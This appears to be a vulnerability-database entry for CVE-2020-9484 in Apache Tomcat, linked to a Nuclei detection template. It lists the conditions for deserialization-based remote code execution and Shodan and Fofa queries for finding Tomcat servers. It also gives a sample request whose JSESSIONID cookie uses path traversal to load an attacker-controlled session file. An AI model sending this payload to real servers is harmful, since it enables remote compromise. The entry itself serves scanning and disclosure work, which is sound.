| Title | Apache Tomcat Remote Command Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to remote code execution, allowing attackers to execute arbitrary commands on the affected system. |
| Remediation | Apply the latest security patches provided by Apache to mitigate this vulnerability. |
| CVSS Score | 7 |
| EPSS Score | 0.93325 |
| CVE ID | CVE-2020-9484 |
| CWE ID | CWE-502 |
| Shodan Query | title:"Apache Tomcat"http.title:"apache tomcat"http.html:"apache tomcat"cpe:"cpe:2.3:a:apache:tomcat" |
| Fofa Query | body="apache tomcat"title="apache tomcat" |
| Tags | cve2020 cve rce packetstorm apache tomcat vuln |
When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=”null” (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.
GET /index.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9484.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9484.pcap
N/AN/A